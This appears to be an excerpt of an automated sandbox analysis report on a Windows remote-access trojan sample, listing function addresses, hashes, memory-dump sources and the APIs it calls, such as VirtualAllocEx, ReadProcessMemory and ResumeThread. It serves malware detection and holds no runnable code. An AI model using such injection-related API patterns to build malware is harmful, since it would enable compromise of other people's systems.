ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06ADAAE0

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 083eb40458f089a2dc051b69a6c5953dfa592608c3d3bd638065f37ee8ec6279
Instruction ID: 3b3ddd530b6ce61367eda8003ebe6ae10f1b69a9cec775cfa49fb27329a7a75a
Opcode Fuzzy Hash: 083eb40458f089a2dc051b69a6c5953dfa592608c3d3bd638065f37ee8ec6279
Instruction Fuzzy Hash: 8A2137B1C003599FCB10DFAAC981AEEFBF5FF48310F50842AE519A7250CB789944CBA1

Function 06ADA8A9 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06ADA91E

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: be4ae279f42eb454c0b8544a21c4da28c31d5f4ba9331b499f1b3cbce0dac53b
Instruction ID: ed2dc9e0ab681c951b82fa627b78573dd6d6467e52be633e096b9e8d439286d8
Opcode Fuzzy Hash: be4ae279f42eb454c0b8544a21c4da28c31d5f4ba9331b499f1b3cbce0dac53b
Instruction Fuzzy Hash: 3F1147758002499FCB20DFAAC845BEEBFF5EF88314F108419E519A7250CB399540CBA1

Function 0087A150 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0087B099,00000800,00000000,00000000), ref: 0087B2AA

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 82a7d692b862929ff871b3c9036789dd6169a812e53c39d5d7e8ef4c38782e99
Instruction ID: 53c566fcc10512aa9c259223e6f7fcaf31ac0f55c6c02571ff321fd9b68cdab1
Opcode Fuzzy Hash: 82a7d692b862929ff871b3c9036789dd6169a812e53c39d5d7e8ef4c38782e99
Instruction Fuzzy Hash: 881126B68003099FDB10CF9AC444BDEFBF5FB88310F10842AD519A7210C379A945CFA5

Function 0087B239 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0087B099,00000800,00000000,00000000), ref: 0087B2AA

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ecc81f59c261249a96f68075dae87366c93a6aedde0e7a057ade70679a6bb2ce
Instruction ID: 680332e8220f8ae5d35a01af444f7076468c4d5a68ac987e5269d2f6e7bda4d2
Opcode Fuzzy Hash: ecc81f59c261249a96f68075dae87366c93a6aedde0e7a057ade70679a6bb2ce
Instruction Fuzzy Hash: 371126B68002498FDB10DF9AC484BDEFBF5FF88310F14842AD919A7211C379A945CFA5

Function 06ADA8B0 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06ADA91E

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c3831ea7a260684d8dbf0cf20ba8db693d562be520b2021ea108a6411fae4aa
Instruction ID: 7aed09830420c733666860130382d480213ff728f32279494244545056eea25b
Opcode Fuzzy Hash: 8c3831ea7a260684d8dbf0cf20ba8db693d562be520b2021ea108a6411fae4aa
Instruction Fuzzy Hash: F81137758002499FCB10DFAAC845BEEBFF5FF88314F108419E519A7250CB79A940CFA1

Function 06ADA720 Relevance: 1.6, APIs: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06ADA78A

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f62cd7bea773a49356df01827c31918476b00d0cff9fd6583fbc167a64a12f7c
Instruction ID: 3288b7353324980982f920cadf2d369754568bcff05c88411f32b10d8e84f987
Opcode Fuzzy Hash: f62cd7bea773a49356df01827c31918476b00d0cff9fd6583fbc167a64a12f7c
Instruction Fuzzy Hash: AB1158B5D003089FCB20EFAAC4457EEFBF5EF88310F208429D519A7240CB39A944CBA4

Function 06ADA728 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06ADA78A

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 894f93fe089ff5bafd8389a12aae8c7f4d293f07ea48e31b85dab935e1fd72e9
Instruction ID: 86346b5422cdd8d9aa6245d69e3d9b89f4fa59a7d42d496b0169378fd651215b
Opcode Fuzzy Hash: 894f93fe089ff5bafd8389a12aae8c7f4d293f07ea48e31b85dab935e1fd72e9
Instruction Fuzzy Hash: 54113AB1D002488FDB20DFAAC4457EEFBF5EF88314F208419D519A7240CB79A544CBA5

Function 06ADE0E0 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06ADE145

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 43f34b91d69a450e9a83dfb93d2fb10de826eb78826112bc81fbe36ecef89fbd
Instruction ID: a29aaa7d920b02dde603f790cbf852a06df8b66b2e35e918ad90a755f66fae0d
Opcode Fuzzy Hash: 43f34b91d69a450e9a83dfb93d2fb10de826eb78826112bc81fbe36ecef89fbd
Instruction Fuzzy Hash: E91110B68002499FCB11DF9AC885BDEBBF8FB48324F108459E528A7250C378A940CFA1

Function 0087AFB8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0087B01E

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a9d551ed71f8c8e6413da7735de08264632dbd8cda7b6acd0ceaf4480001e3a1
Instruction ID: a06294d8847c8d095b35356ff1e41cadb9fdc9eee0e581c0d977692ef0b11675
Opcode Fuzzy Hash: a9d551ed71f8c8e6413da7735de08264632dbd8cda7b6acd0ceaf4480001e3a1
Instruction Fuzzy Hash: BC11DFB5C006498FDB20DF9AD444BDEFBF5FB88314F10842AD529A7214D379A545CFA1

Function 06ADC1CC Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 06ADE145

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8a128ea5798f5d06a1a91b61faa0ad2c52993767e66fbc2a1f142798341ded66
Instruction ID: f2fd6623a27f89dd1a284e2b391c99602b775116c61878818da2de695e176023
Opcode Fuzzy Hash: 8a128ea5798f5d06a1a91b61faa0ad2c52993767e66fbc2a1f142798341ded66
Instruction Fuzzy Hash: 0411F2B58003499FDB60DF9AC885BDEBBF8FB48310F10841AE519A7200C379A944CFA5

Function 0081D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029468798.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_81d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa064852e1c0bed6f1bd4af6d0abd53c91a6add9cdde15f57a59e0489b0c32fa
Instruction ID: 81652b32e922e98221dcc66ee224107a80298dcf18517d9cd08fda89a4bb3187
Opcode Fuzzy Hash: aa064852e1c0bed6f1bd4af6d0abd53c91a6add9cdde15f57a59e0489b0c32fa
Instruction Fuzzy Hash: C6210371500344DFCB15DF14D9C0FA6BF6AFF98318F20C569E9098B256C33AD896DAA2

Function 0081D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029468798.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_81d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0214706e38216ff53403946c932dedda09288e8c13085b76f1c8e0962a32dc3a
Instruction ID: b07ef6a066113149ed3619b28da39227b743cd7d42d29e1f9e980652fd4c3762
Opcode Fuzzy Hash: 0214706e38216ff53403946c932dedda09288e8c13085b76f1c8e0962a32dc3a
Instruction Fuzzy Hash: 70210671500304DFDB05DF14D9C0B56BF69FF98314F20C569E9098B256C33AE896D7A2

Function 0082D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029515038.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_82d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc473e910d530a7a33aeb75636709a62caa995f535e82e26276dfc00fda89445
Instruction ID: 43c37240f04e6e57a935ea32a25c6d08cb8674c31678e96dc031119080ffc464
Opcode Fuzzy Hash: fc473e910d530a7a33aeb75636709a62caa995f535e82e26276dfc00fda89445
Instruction Fuzzy Hash: A621F571504304EFDB05DF14E5C0B26BFA5FB84314F20C56DD9098B256C33AE886CA61

Function 0082D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029515038.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_82d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750896bd3c41e49e590e5289dfc40c897d775b5c91813f88d5c08378b360479e
Instruction ID: 30abcd788c9932c1e5cc79f476fac0539ba3662b6b64205c15688cf5262c7a65
Opcode Fuzzy Hash: 750896bd3c41e49e590e5289dfc40c897d775b5c91813f88d5c08378b360479e
Instruction Fuzzy Hash: 3A21F271604744DFCB14DF24E984B26BF65FB88314F20C569D94A8B3A6C33AD887CAA1

Function 0081D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029468798.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_81d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: e9c012e31079974d01c5059321bbd4f6f813f5ceeef44f05e0a49f58fa029e5f
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: A111DF72404340CFCB16CF00D5C4B56BF71FB98324F24C6A9D9094B256C33AE85ACBA2

Function 0081D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029468798.000000000081D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0081D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_81d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 8dc1ce435c2f61966a31dc9f64e3bd0faa854ae5e06481acf88cd0d81c4908ad
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 2611DF72404280CFCB06CF10D5C4B96BF72FB98314F24C6A9D8494B256C336D85ACBA2

Function 0082D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029515038.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_82d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: b8d386ea37286f8ca44eef2ad48a249ccd98d9364c9f1a8cbd729bcb213b2675
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: BB118E75504780DFDB15CF14E5C4B15BF61FB44314F24C6A9D8498B666C33AD84ACB62

Function 0082D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029515038.000000000082D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0082D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_82d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 37858e9299bb3ee5ea3b2c6b8e946a08a5aeebca685a259554d6677c12e1fd08
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 3A118B75504380DFDB16CF14D5C4B15BFA2FB84314F24C6A9D8498B696C33AE84ACB62

Non-executed Functions

Function 02670040 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030753809.0000000002670000.00000040.00000800.00020000.00000000.sdmp, Offset: 02670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2670000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07a814178dbdc98e96494379dfebaa9bdc162ffd86c339707b8f8a39c71ae192
Instruction ID: ca29c3b2c3e10d56d1821c8ed0868643423558d3b777867850a23d44b06a32ed
Opcode Fuzzy Hash: 07a814178dbdc98e96494379dfebaa9bdc162ffd86c339707b8f8a39c71ae192
Instruction Fuzzy Hash: E21286B0881F458ED710CFA5E94C1893B71B751318BF04A19D2617B2E5FBB8266EEF48

Function 06AD8420 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2372f0f1d739d6152e26c4e112f0e0f964e4ad9b8714c48a268ff95f021ff64f
Instruction ID: cf653ebc8be4358952c42035aef4690b4a70a76f53e5f19e41abb4692981cf02
Opcode Fuzzy Hash: 2372f0f1d739d6152e26c4e112f0e0f964e4ad9b8714c48a268ff95f021ff64f
Instruction Fuzzy Hash: 59E12B74E001198FCB54DFA9C5809AEFBF2FF89305F248169E415AB35AD734A981CFA1

Function 06AD7FE8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9522136546f6fdb5cccebaf516f6ed99039cebd4e385f8fb846176a7753e743
Instruction ID: 11cb2d895f390b6f28e5ae2e124467edfe40c515c70dd8f9adddf6102e9cf901
Opcode Fuzzy Hash: a9522136546f6fdb5cccebaf516f6ed99039cebd4e385f8fb846176a7753e743
Instruction Fuzzy Hash: C8E12A74E001198FCB54DFA9C5809AEFBB2FF89305F248169E415AB35AD734A981CFA1

Function 06AD9F00 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429e629eef41deed4562c77a6f386de72f05f23bd5139b37cf5e25060de53775
Instruction ID: ae4eec2b88ce81d6918443b1b99ce2537d533302f05eceeaafd5d63e7fa5f9f1
Opcode Fuzzy Hash: 429e629eef41deed4562c77a6f386de72f05f23bd5139b37cf5e25060de53775
Instruction Fuzzy Hash: 8AE13A74E002198FCB54DFA9C5809AEFBB2FF89305F24C169E515AB31AC731A941CFA0

Function 06AD9AC8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 654f72fdcf09dd2d138062bc8c77f3dbc779a0ccca5def40a24c27276c423dc5
Instruction ID: b57cdcbb09e07414eaaa40bcce9a0edbe5ee1187b7243d9db9b318fa08dad60c
Opcode Fuzzy Hash: 654f72fdcf09dd2d138062bc8c77f3dbc779a0ccca5def40a24c27276c423dc5
Instruction Fuzzy Hash: E2E12C74E002198FCB54DFA9C5809AEFBF2FF89305F249169D415AB35AD730A941CFA1

Function 06AD7BB0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a5077701cd4d37a071ee612920afcb16f6152ce5b7ce9a076371102c8f42cd7
Instruction ID: 8679ce88c650a2bf9d0c770754e6cfbff2d90f9a083af9b7ba159432aed09c0c
Opcode Fuzzy Hash: 1a5077701cd4d37a071ee612920afcb16f6152ce5b7ce9a076371102c8f42cd7
Instruction Fuzzy Hash: 01E11A74E001198FCB54DFA9C5809AEFBF2FF89305F249169E415AB35AD730A941CFA1

Function 06AD03C8 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 172695161be4d9e3956419085a94d1be4066f271565641074e2e38f2f06bc22e
Instruction ID: 369e456d13bc9de260ff7b2645d5aabe51e7878964584a88c9cd8b055cd22aba
Opcode Fuzzy Hash: 172695161be4d9e3956419085a94d1be4066f271565641074e2e38f2f06bc22e
Instruction Fuzzy Hash: 09D14D31D20A5A8ADB01EF68D950ADDB7B5FFD5300F10979AD40977224EB706AC9CF81

Function 0087D5DC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e38afd8cda3d3748d14e818f773609011c667a285941152bdf7a798a3c47b38
Instruction ID: f30f9fca19873f5b5dbad5b8607f8001053157e50820302c77ace0ab9ab9bd4b
Opcode Fuzzy Hash: 9e38afd8cda3d3748d14e818f773609011c667a285941152bdf7a798a3c47b38
Instruction Fuzzy Hash: 36A14C36E00609CFCF09DFA5C84059EB7B2FF85304B25857AE909EB26ADB31E955CB50

Function 06AD0400 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b428032d30a54a32f70ff0e312f5a8a7184e8a3a011e535f8815383edb4e6fd
Instruction ID: 7e0e95f975db68ad0cbfa5c218c7dcfb0881fe7ef21a25407a8e386300b865f0
Opcode Fuzzy Hash: 5b428032d30a54a32f70ff0e312f5a8a7184e8a3a011e535f8815383edb4e6fd
Instruction Fuzzy Hash: 3AD11B31D20A1A8ADB01EFA8D950A9DB7B5FFD5300F10D79AD50977224EB706AC9CF81

Function 06AD03FF Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9832bf32f470e9ff9f9f3ac58b58f4fd02bf230f8ac52d4676391d521f88b4a
Instruction ID: c484c517e0f3fb69041ebca11b5d2a346cf8054d3ad10ca0c9ba154e8d77c3ae
Opcode Fuzzy Hash: d9832bf32f470e9ff9f9f3ac58b58f4fd02bf230f8ac52d4676391d521f88b4a
Instruction Fuzzy Hash: A7D11B31D20A1A8ADB01EFA8D950A9DB7B5FFD5300F10D79AD50977224EB706AC9CF81

Function 02670013 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2030753809.0000000002670000.00000040.00000800.00020000.00000000.sdmp, Offset: 02670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2670000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fc17e746f1d9d7b9e6a5aebc5aee68d5ed53ed3b933260efc6a30caa7b726ee
Instruction ID: a32f7bb190edc15277f4cd2a0ca54cb83d7f7bceb9880eb459c06683baf4e5dd
Opcode Fuzzy Hash: 8fc17e746f1d9d7b9e6a5aebc5aee68d5ed53ed3b933260efc6a30caa7b726ee
Instruction Fuzzy Hash: 49C11BB0C80B458FD711CFA5E8481897BB1BB95314BB04A19D1617B2D1FBB8366EEF48

Function 06AD9AB8 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49598fb43a9b89b4dd8a58e034ab253246c35e2d9a70e4a35eee1e9f471305b9
Instruction ID: 1cb48289879ea0c8c27e75518f38079897352d16e7f8db89d4ded2d1410408ba
Opcode Fuzzy Hash: 49598fb43a9b89b4dd8a58e034ab253246c35e2d9a70e4a35eee1e9f471305b9
Instruction Fuzzy Hash: 93616075E042198FDB54DFA9C9405AEFBF2EF89300F14816AD419AB366C730A942CFA1

Analysis Process: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exePID: 4040, Parent PID: 2924COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	43
Total number of Limit Nodes:	2

Executed Functions

Function 00FA6730 Relevance: 6.7, Strings: 5, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o]q, xrefs: 00FA6988
,aq, xrefs: 00FA69F2
(o]q, xrefs: 00FA6CA5
,aq, xrefs: 00FA6A00
(o]q, xrefs: 00FA697A

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-615190528
Opcode ID: 2d3851bbd67e24882938ac8737219635a3d835ccf02080ecce43af0d06270235
Instruction ID: 8fe2f5bc49b0a899ae0b758ebaac050c683d0b90d99432d98018423a069e1361
Opcode Fuzzy Hash: 2d3851bbd67e24882938ac8737219635a3d835ccf02080ecce43af0d06270235
Instruction Fuzzy Hash: 80127EB0E00209DFCB15CF68C984AADBBB2FF8A355F198469E455EB2A1D734DC41DB50

Function 00FAB328 Relevance: 6.6, Strings: 5, Instructions: 349
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 00FAB6CF
0o@p, xrefs: 00FAB562
PH]q, xrefs: 00FAB758
PH]q, xrefs: 00FAB747
Lj@p, xrefs: 00FAB6E5

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: abd1ef189ef3d47e4450827e9c6dff9893b9bc3d32513e9e33a7f6370fec8b26
Instruction ID: 81dae229ed6d451608ad8cd657a71e4f8c8b4fe257feef8b37cd343e4479d378
Opcode Fuzzy Hash: abd1ef189ef3d47e4450827e9c6dff9893b9bc3d32513e9e33a7f6370fec8b26
Instruction Fuzzy Hash: 30E109B5E00658CFDB14CFA9D984A9DBBB1FF49310F1580A9E819AB362DB34AC41DF50

Function 00FAC190 Relevance: 6.4, Strings: 5, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 00FAC385
PH]q, xrefs: 00FAC3F8
0o@p, xrefs: 00FAC202
Lj@p, xrefs: 00FAC36F
PH]q, xrefs: 00FAC3E7

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 6c325eabb34b5505890da96c9719f47005c4a7a5405aa76e9472b0382dcb38fa
Instruction ID: 350c019cd38e87fb757fd4991220bbbae6c189c3412dbcd631ff12ba275349aa
Opcode Fuzzy Hash: 6c325eabb34b5505890da96c9719f47005c4a7a5405aa76e9472b0382dcb38fa
Instruction Fuzzy Hash: 0491D6B4E00218DFDB14DFAAD884A9DBBF2BF89310F14C069E809AB365DB349941DF50

Function 00FABEB0 Relevance: 6.4, Strings: 5, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 00FAC0A5
PH]q, xrefs: 00FAC118
Lj@p, xrefs: 00FAC08F
PH]q, xrefs: 00FAC107
0o@p, xrefs: 00FABF22

Memory Dump Source

Source File: 00000004.00000002.3266643645.0000000000FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fa0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
